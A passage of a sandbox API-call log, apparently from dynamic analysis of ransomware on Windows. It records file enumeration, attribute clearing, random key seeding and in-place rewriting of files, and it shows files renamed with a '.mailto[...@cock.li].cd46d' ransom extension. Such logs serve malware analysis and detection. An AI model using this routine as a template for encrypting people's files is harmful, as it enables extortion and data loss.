(lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CT_ROOTS.XML", dwFileAttributes=0x20) Thread: id = 1030 os_tid = 0x13f8 [0056.051] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x96f9a10 [0056.051] wcscpy (in: _Dest=0x96f9a10, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices" [0056.051] wcscat (in: _Dest=0x96f9a10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\" [0056.051] wcscat (in: _Dest=0x96f9a10, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\*" [0056.051] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x430fa8 [0056.051] FindFirstFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\*", lpFindFileData=0x430fa8) Thread: id = 1031 os_tid = 0x13fc [0056.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbengr.vsl")) Thread: id = 1032 os_tid = 0x94c [0056.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBSAMPLE.MDB" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbsample.mdb")) Thread: id = 1033 os_tid = 0x908 [0056.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbwiz.vsl")) Thread: id = 1034 os_tid = 0x904 [0056.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DEFAULT.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\default.css")) returned 0x20 [0065.055] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DEFAULT.CSS", dwFileAttributes=0x20) Thread: id = 1035 os_tid = 0x900 [0056.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion.gta")) Thread: id = 1036 os_tid = 0xc78 [0056.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion14.gta")) returned 0x20 [0065.052] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta", dwFileAttributes=0x20) Thread: id = 1037 os_tid = 0xc7c [0056.053] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\addressbook.acrodata" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\security\\addressbook.acrodata")) returned 0x2020 [0065.318] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\addressbook.acrodata", dwFileAttributes=0x20) Thread: id = 1038 os_tid = 0x8ec [0056.053] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xaa) returned 0x45c4c0 [0056.053] wcscpy (in: _Dest=0x45c4c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache" [0056.053] wcscat (in: _Dest=0x45c4c0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\" [0056.053] wcscat (in: _Dest=0x45c4c0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\*" [0056.053] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42dab8 [0056.053] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\*", lpFindFileData=0x42dab8 | out: lpFindFileData=0x42dab8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xda2b43a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda5adf20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xda5adf20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4a6660 [0063.825] wcscmp (_String1=".", _String2=".") returned 0 [0063.825] FindNextFileW (in: hFindFile=0x4a6660, lpFindFileData=0x42dab8 | out: lpFindFileData=0x42dab8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xda2b43a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda5adf20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xda5adf20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.825] wcscmp (_String1="..", _String2=".") returned 1 [0063.825] wcscmp (_String1="..", _String2="..") returned 0 [0063.825] FindNextFileW (in: hFindFile=0x4a6660, lpFindFileData=0x42dab8 | out: lpFindFileData=0x42dab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xda5adf20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda5adf20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xdefc97c0, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0x3a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="48B76449F3D5FEFA1133AA805E420F0FCA643651.crl", cAlternateFileName="48B764~1.CRL")) returned 1 [0063.825] wcscmp (_String1="48B76449F3D5FEFA1133AA805E420F0FCA643651.crl", _String2=".") returned 1 [0063.825] wcscmp (_String1="48B76449F3D5FEFA1133AA805E420F0FCA643651.crl", _String2="..") returned 1 [0063.825] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x100) returned 0x12f4b2d0 [0063.825] wcscpy (in: _Dest=0x12f4b2d0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache" [0063.825] wcscat (in: _Dest=0x12f4b2d0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\" [0063.825] wcscat (in: _Dest=0x12f4b2d0, _Source="48B76449F3D5FEFA1133AA805E420F0FCA643651.crl" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\48B76449F3D5FEFA1133AA805E420F0FCA643651.crl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\48B76449F3D5FEFA1133AA805E420F0FCA643651.crl" [0065.447] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12f4b2d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1508 [0065.448] FindNextFileW (in: hFindFile=0x4a6660, lpFindFileData=0x42dab8 | out: lpFindFileData=0x42dab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xda3e4ea0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda3e4ea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xdefa3660, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0x9347, dwReserved0=0x0, dwReserved1=0x0, cFileName="A9B8213768ADC68AF64FCC6409E8BE414726687F.crl", cAlternateFileName="A9B821~1.CRL")) returned 1 [0065.448] wcscmp (_String1="A9B8213768ADC68AF64FCC6409E8BE414726687F.crl", _String2=".") returned 1 [0065.448] wcscmp (_String1="A9B8213768ADC68AF64FCC6409E8BE414726687F.crl", _String2="..") returned 1 [0065.448] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x100) returned 0x12f4b3d8 [0065.448] wcscpy (in: _Dest=0x12f4b3d8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache" [0065.448] wcscat (in: _Dest=0x12f4b3d8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\" [0065.448] wcscat (in: _Dest=0x12f4b3d8, _Source="A9B8213768ADC68AF64FCC6409E8BE414726687F.crl" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\A9B8213768ADC68AF64FCC6409E8BE414726687F.crl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\A9B8213768ADC68AF64FCC6409E8BE414726687F.crl" [0065.449] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12f4b3d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x150c [0065.449] FindNextFileW (in: hFindFile=0x4a6660, lpFindFileData=0x42dab8 | out: lpFindFileData=0x42dab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xda3e4ea0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda3e4ea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xdefa3660, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0x9347, dwReserved0=0x0, dwReserved1=0x0, cFileName="A9B8213768ADC68AF64FCC6409E8BE414726687F.crl", cAlternateFileName="A9B821~1.CRL")) returned 0 [0065.449] FindClose (in: hFindFile=0x4a6660 | out: hFindFile=0x4a6660) returned 1 [0065.450] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42dab8) returned 1 [0065.450] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45c4c0) returned 1 [0065.450] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x443490) returned 1 Thread: id = 1039 os_tid = 0xb88 [0056.053] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\Client.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\subsetlist\\client.xml")) returned 0x20 [0056.054] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\Client.xml", dwFileAttributes=0x20) returned 0 [0056.054] CreateFileW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\Client.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\subsetlist\\client.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0056.054] GetLastError () returned 0x5 [0056.054] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\Client.xml", dwFileAttributes=0x20) returned 0 [0056.055] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e02360) returned 1 Thread: id = 1040 os_tid = 0xba0 [0056.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif")) returned 0x20 [0060.737] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF", dwFileAttributes=0x20) returned 1 [0060.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x6b8 [0060.738] GetFileSizeEx (in: hFile=0x6b8, lpFileSize=0x855fb64 | out: lpFileSize=0x855fb64*=9024) returned 1 [0060.738] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x233c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.738] ReadFile (in: hFile=0x6b8, lpBuffer=0x855fae8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x855fae4, lpOverlapped=0x0 | out: lpBuffer=0x855fae8*, lpNumberOfBytesRead=0x855fae4*=0x4, lpOverlapped=0x0) returned 1 [0060.740] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.740] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4360c0 [0060.740] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4362c8 [0060.740] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x436340 [0060.740] NtQuerySystemTime (in: CurrentTime=0x855fac4 | out: CurrentTime=0x855fac4*=132174898247232000) returned 0x0 [0060.740] RtlRandomEx (in: Seed=0x855fad0 | out: Seed=0x855fad0) returned 0x4cd73796 [0060.740] RtlRandomEx (in: Seed=0x855fad0 | out: Seed=0x855fad0) returned 0x55cadf22 [0060.740] RtlRandomEx (in: Seed=0x855fad0 | out: Seed=0x855fad0) returned 0x52ddb296 [0060.740] RtlRandomEx (in: Seed=0x855fad0 | out: Seed=0x855fad0) returned 0x569d646b [0060.740] RtlRandomEx (in: Seed=0x855fad0 | out: Seed=0x855fad0) returned 0x23a3d133 [0060.740] RtlRandomEx (in: Seed=0x855fad0 | out: Seed=0x855fad0) returned 0x2b490491 [0060.740] RtlRandomEx (in: Seed=0x855fad0 | out: Seed=0x855fad0) returned 0x4290f953 [0060.740] RtlRandomEx (in: Seed=0x855fad0 | out: Seed=0x855fad0) returned 0x64f1a6de [0060.740] RtlRandomEx (in: Seed=0x855fad0 | out: Seed=0x855fad0) returned 0x33cfbca9 [0060.740] RtlRandomEx (in: Seed=0x855fad0 | out: Seed=0x855fad0) returned 0x6ec24d4a [0060.740] RtlRandomEx (in: Seed=0x855fad0 | out: Seed=0x855fad0) returned 0x4599fa68 [0060.740] RtlRandomEx (in: Seed=0x855fad0 | out: Seed=0x855fad0) returned 0x4e8ae4f5 [0060.740] RtlRandomEx (in: Seed=0x855fad0 | out: Seed=0x855fad0) returned 0x7c66f532 [0060.740] RtlRandomEx (in: Seed=0x855fad0 | out: Seed=0x855fad0) returned 0x7c7fba76 [0060.740] RtlRandomEx (in: Seed=0x855fad0 | out: Seed=0x855fad0) returned 0x40c2c22e [0060.740] RtlRandomEx (in: Seed=0x855fad0 | out: Seed=0x855fad0) returned 0x2abde1db [0060.740] RtlRandomEx (in: Seed=0x855fad0 | out: Seed=0x855fad0) returned 0x6be693e7 [0060.740] RtlRandomEx (in: Seed=0x855fad0 | out: Seed=0x855fad0) returned 0x58e42d96 [0060.740] RtlRandomEx (in: Seed=0x855fad0 | out: Seed=0x855fad0) returned 0x36d47fb6 [0060.740] RtlRandomEx (in: Seed=0x855fad0 | out: Seed=0x855fad0) returned 0x2ebdcf3b [0060.740] RtlRandomEx (in: Seed=0x855fad0 | out: Seed=0x855fad0) returned 0x404a27e3 [0060.741] RtlRandomEx (in: Seed=0x855fad0 | out: Seed=0x855fad0) returned 0x17818bad [0060.741] RtlRandomEx (in: Seed=0x855fad0 | out: Seed=0x855fad0) returned 0x7cafc916 [0060.741] RtlRandomEx (in: Seed=0x855fad0 | out: Seed=0x855fad0) returned 0x1851dd94 [0060.741] RtlRandomEx (in: Seed=0x855fad0 | out: Seed=0x855fad0) returned 0x7aeff1c8 [0060.741] RtlRandomEx (in: Seed=0x855fad0 | out: Seed=0x855fad0) returned 0x2b17af86 [0060.741] RtlRandomEx (in: Seed=0x855fad0 | out: Seed=0x855fad0) returned 0x2402791e [0060.741] RtlRandomEx (in: Seed=0x855fad0 | out: Seed=0x855fad0) returned 0x63449b72 [0060.741] RtlRandomEx (in: Seed=0x855fad0 | out: Seed=0x855fad0) returned 0x3b8d102e [0060.741] RtlRandomEx (in: Seed=0x855fad0 | out: Seed=0x855fad0) returned 0x4e680309 [0060.741] RtlRandomEx (in: Seed=0x855fad0 | out: Seed=0x855fad0) returned 0x7f4b4111 [0060.741] RtlRandomEx (in: Seed=0x855fad0 | out: Seed=0x855fad0) returned 0xcb56c80 [0060.754] ReadFile (in: hFile=0x6b8, lpBuffer=0x19a22168, nNumberOfBytesToRead=0x2340, lpNumberOfBytesRead=0x855fac0, lpOverlapped=0x0 | out: lpBuffer=0x19a22168*, lpNumberOfBytesRead=0x855fac0*=0x2340, lpOverlapped=0x0) returned 1 [0060.755] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.755] WriteFile (in: hFile=0x6b8, lpBuffer=0x19a2e970*, nNumberOfBytesToWrite=0x2340, lpNumberOfBytesWritten=0x855fabc, lpOverlapped=0x0 | out: lpBuffer=0x19a2e970*, lpNumberOfBytesWritten=0x855fabc*=0x2340, lpOverlapped=0x0) returned 1 [0062.728] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf1b8 [0062.728] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf140 [0062.728] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf140) returned 1 [0062.728] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19a2e970) returned 1 [0063.295] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19a22168) returned 1 [0063.295] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418de8) returned 1 [0063.295] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c948) returned 1 [0063.295] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97ce960 [0063.295] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.295] WriteFile (in: hFile=0x6b8, lpBuffer=0x12d7c508*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x855fb24, lpOverlapped=0x0 | out: lpBuffer=0x12d7c508*, lpNumberOfBytesWritten=0x855fb24*=0x109, lpOverlapped=0x0) returned 1 [0063.305] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7c508) returned 1 [0063.305] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce990) returned 1 [0063.305] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec90e8) returned 1 [0063.305] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce960) returned 1 [0063.305] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf1b8) returned 1 [0063.305] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4362c8) returned 1 [0063.305] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x436368) returned 1 [0063.305] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x436390) returned 1 [0063.305] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc8) returned 0x5e00610 [0063.305] wcscpy (in: _Dest=0x5e00610, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" [0063.305] wcscat (in: _Dest=0x5e00610, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.mailto[2Hamlampampom@cock.li].cd46d" [0063.305] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x855fadc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.305] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xde) returned 0x12cf98b0 [0063.307] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12cf98b0) returned 1 [0063.307] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4829c0) returned 1 [0063.307] NtQueryInformationFile (in: FileHandle=0x6b8, IoStatusBlock=0x855fae8, FileInformation=0x855fac0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x855fae8, FileInformation=0x855fac0) returned 0x0 [0063.307] NtSetInformationFile (FileHandle=0x6b8, IoStatusBlock=0x855fae8, FileInformation=0x855fac0, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.308] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00610) returned 1 [0063.308] FlushFileBuffers (hFile=0x6b8) returned 1 [0066.218] CloseHandle (hObject=0x6b8) Thread: id = 1041 os_tid = 0x8c8 [0056.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif")) returned 0x20 [0061.214] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF", dwFileAttributes=0x20) returned 1 [0061.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x124c [0061.230] GetFileSizeEx (in: hFile=0x124c, lpFileSize=0xf0cf8e0 | out: lpFileSize=0xf0cf8e0*=7216) returned 1 [0061.230] SetFilePointerEx (in: hFile=0x124c, liDistanceToMove=0x1c2c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.230] ReadFile (in: hFile=0x124c, lpBuffer=0xf0cf864, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xf0cf860, lpOverlapped=0x0 | out: lpBuffer=0xf0cf864*, lpNumberOfBytesRead=0xf0cf860*=0x4, lpOverlapped=0x0) returned 1 [0061.232] SetFilePointerEx (in: hFile=0x124c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.232] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4367c8 [0061.232] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9390 [0061.232] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9408 [0061.232] NtQuerySystemTime (in: CurrentTime=0xf0cf840 | out: CurrentTime=0xf0cf840*=132174898252068000) returned 0x0 [0061.232] RtlRandomEx (in: Seed=0xf0cf84c | out: Seed=0xf0cf84c) returned 0x486d5f72 [0061.232] RtlRandomEx (in: Seed=0xf0cf84c | out: Seed=0xf0cf84c) returned 0x56d79c40 [0061.232] RtlRandomEx (in: Seed=0xf0cf84c | out: Seed=0xf0cf84c) returned 0x136170c0 [0061.232] RtlRandomEx (in: Seed=0xf0cf84c | out: Seed=0xf0cf84c) returned 0x3648a017 [0061.232] RtlRandomEx (in: Seed=0xf0cf84c | out: Seed=0xf0cf84c) returned 0x7b51aef3 [0061.232] RtlRandomEx (in: Seed=0xf0cf84c | out: Seed=0xf0cf84c) returned 0x27386c97 [0061.232] RtlRandomEx (in: Seed=0xf0cf84c | out: Seed=0xf0cf84c) returned 0x358f516f [0061.232] RtlRandomEx (in: Seed=0xf0cf84c | out: Seed=0xf0cf84c) returned 0x40c07b34 [0061.232] RtlRandomEx (in: Seed=0xf0cf84c | out: Seed=0xf0cf84c) returned 0x70a1fcc4 [0061.232] RtlRandomEx (in: Seed=0xf0cf84c | out: Seed=0xf0cf84c) returned 0xcd8c839 [0061.232] RtlRandomEx (in: Seed=0xf0cf84c | out: Seed=0xf0cf84c) returned 0x79ede16 [0061.232] RtlRandomEx (in: Seed=0xf0cf84c | out: Seed=0xf0cf84c) returned 0x1479a6 [0061.232] RtlRandomEx (in: Seed=0xf0cf84c | out: Seed=0xf0cf84c) returned 0x5013a0b5 [0061.232] RtlRandomEx (in: Seed=0xf0cf84c | out: Seed=0xf0cf84c) returned 0x62759a1d [0061.232] RtlRandomEx (in: Seed=0xf0cf84c | out: Seed=0xf0cf84c) returned 0x19e9fa14 [0061.232] RtlRandomEx (in: Seed=0xf0cf84c | out: Seed=0xf0cf84c) returned 0x530f83a2 [0061.232] RtlRandomEx (in: Seed=0xf0cf84c | out: Seed=0xf0cf84c) returned 0x651f111e [0061.233] RtlRandomEx (in: Seed=0xf0cf84c | out: Seed=0xf0cf84c) returned 0x3410774e [0061.233] RtlRandomEx (in: Seed=0xf0cf84c | out: Seed=0xf0cf84c) returned 0x44afd902 [0061.233] RtlRandomEx (in: Seed=0xf0cf84c | out: Seed=0xf0cf84c) returned 0x64d70337 [0061.233] RtlRandomEx (in: Seed=0xf0cf84c | out: Seed=0xf0cf84c) returned 0x5193b71f [0061.233] RtlRandomEx (in: Seed=0xf0cf84c | out: Seed=0xf0cf84c) returned 0x4f63ff3a [0061.233] RtlRandomEx (in: Seed=0xf0cf84c | 